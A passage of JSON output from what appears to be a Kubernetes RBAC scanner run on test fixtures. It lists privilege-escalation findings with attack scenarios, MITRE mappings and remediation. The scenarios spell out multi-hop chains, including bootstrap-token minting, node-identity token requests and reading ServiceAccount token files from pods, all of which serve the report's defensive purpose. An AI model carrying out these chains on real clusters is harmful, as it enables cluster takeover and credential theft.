        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 3,
        "action": "service_backend_rewrite",
        "technique": "KUBE-PRIVESC-022",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list,patch services",
        "gains": "can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses",
        "source_binding": "hookbackend-operator",
        "source_role": "hookbackend-operator",
        "binding_namespace": "hookbackend-fixtures"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:traffic_intercept"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/deepchain-tenant/deepchain-binder:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.55,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/deepchain-tenant/deepchain-binder` can reach `token_mint` in 3 hop(s)",
    "description": "Subject `ServiceAccount/deepchain-tenant/deepchain-binder` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/deepchain-tenant/deepchain-binder` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention\n  2. `ServiceAccount/deepchain-tenant/deepchain-binder` → `ServiceAccount/deepchain-tenant/deepchain-privileged` via `colocated_sa_token_theft` (namespace-admin in deepchain-tenant): can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged\n  3. `ServiceAccount/deepchain-tenant/deepchain-privileged` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-binder",
      "namespace": "deepchain-tenant"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/deepchain-tenant/deepchain-binder` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/deepchain-tenant/deepchain-binder` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/deepchain-tenant/deepchain-binder`.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker uses the `colocated_sa_token_theft` technique to reach `ServiceAccount/deepchain-tenant/deepchain-privileged` via `namespace-admin in deepchain-tenant`, which gains can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-privileged`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. modify_role_binding [create/update rolebindings + bind (cluster)roles]",
        "2. colocated_sa_token_theft [namespace-admin in deepchain-tenant]",
        "3. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "modify_role_binding",
      "hop_count": 3,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "modify_role_binding",
        "colocated_sa_token_theft",
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 1 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 1 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "deepchain-tenant"
      },
      {
        "step": 2,
        "action": "colocated_sa_token_theft",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-privileged",
          "namespace": "deepchain-tenant"
        },
        "permission": "namespace-admin in deepchain-tenant",
        "gains": "can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged"
      },
      {
        "step": 3,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-privileged",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/nodeid-fixtures/nodeid-joiner:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.55,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-joiner` can reach `token_mint` in 3 hop(s)",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-joiner` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/` via `csr_nodeclient_autoapprove` (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource\n  2. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `ServiceAccount/foothold-exec/foothold-decoy-sa` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there\n  3. `ServiceAccount/foothold-exec/foothold-decoy-sa` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-joiner",
      "namespace": "nodeid-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/nodeid-fixtures/nodeid-joiner` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/nodeid-fixtures/nodeid-joiner`.",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-joiner`, the attacker submits a CertificateSigningRequest for the `kubernetes.io/kube-apiserver-client-kubelet` signer naming `system:node:\u003cname\u003e` in `system:nodes` (`create certificatesigningrequests + create certificatesigningrequests/nodeclient`). The controller manager's CSR approver asks the API server whether the requester may `create certificatesigningrequests/nodeclient`; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/foothold-exec/foothold-decoy-sa` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/foothold-exec/foothold-decoy-sa`.",
      "Acting as `ServiceAccount/foothold-exec/foothold-decoy-sa`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. csr_nodeclient_autoapprove [create certificatesigningrequests + create certificatesigningrequests/nodeclient]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "csr_nodeclient_autoapprove",
      "hop_count": 3,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "csr_nodeclient_autoapprove",
        "node_token_request",
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create certificatesigningrequests + create certificatesigningrequests/nodeclient` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create certificatesigningrequests + create certificatesigningrequests/nodeclient` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "csr_nodeclient_autoapprove",
        "technique": "KUBE-PRIVESC-037",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + create certificatesigningrequests/nodeclient",
        "gains": "can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource",
        "source_binding": "crb-nodeid-joiner",
        "source_role": "cr-nodeid-joiner"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/nodeid-fixtures/nodeid-tokenwriter:namespace_admin:cutres",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 6.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` can reach **namespace-admin in `cutres`** in 4 hop(s)",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` has a privesc path that ends at namespace-admin inside `cutres`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `cutres` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/` via `bootstrap_token_mint` (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cutres/cutres-detour` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cutres/cutres-detour\n  4. `ServiceAccount/cutres/cutres-detour` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-tokenwriter",
      "namespace": "nodeid-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "cutres",
      "namespace": "cutres"
    },
    "namespace": "cutres",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → namespace-admin in `cutres`: every workload, Secret, and ConfigMap inside `cutres` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` yields full takeover of `cutres`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/cutres/cutres-detour` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cutres/cutres-detour`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `cutres`. They read every Secret and ConfigMap in `cutres`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. pod_create_token_theft [create pods]",
        "4. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 4,
      "target": "namespace_admin",
      "target_namespace": "cutres",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `cutres`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/cutres/cutres-detour` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:nodeid-fixtures:nodeid-tokenwriter` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/cutres/cutres-detour` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `cutres` granting RBAC writes: `kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `cutres` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "nodeid-tokenwriter",
        "source_role": "nodeid-tokenwriter",
        "binding_namespace": "kube-system"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cutres/cutres-detour",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "cutres"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/nodeid-fixtures/nodeid-tokenwriter:namespace_admin:deepchain-tenant",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 6.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` can reach **namespace-admin in `deepchain-tenant`** in 4 hop(s)",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` has a privesc path that ends at namespace-admin inside `deepchain-tenant`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `deepchain-tenant` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/` via `bootstrap_token_mint` (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/deepchain-tenant/deepchain-binder` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder\n  4. `ServiceAccount/deepchain-tenant/deepchain-binder` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-tokenwriter",
      "namespace": "nodeid-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "deepchain-tenant",
      "namespace": "deepchain-tenant"
    },
    "namespace": "deepchain-tenant",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → namespace-admin in `deepchain-tenant`: every workload, Secret, and ConfigMap inside `deepchain-tenant` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` yields full takeover of `deepchain-tenant`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/deepchain-tenant/deepchain-binder` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
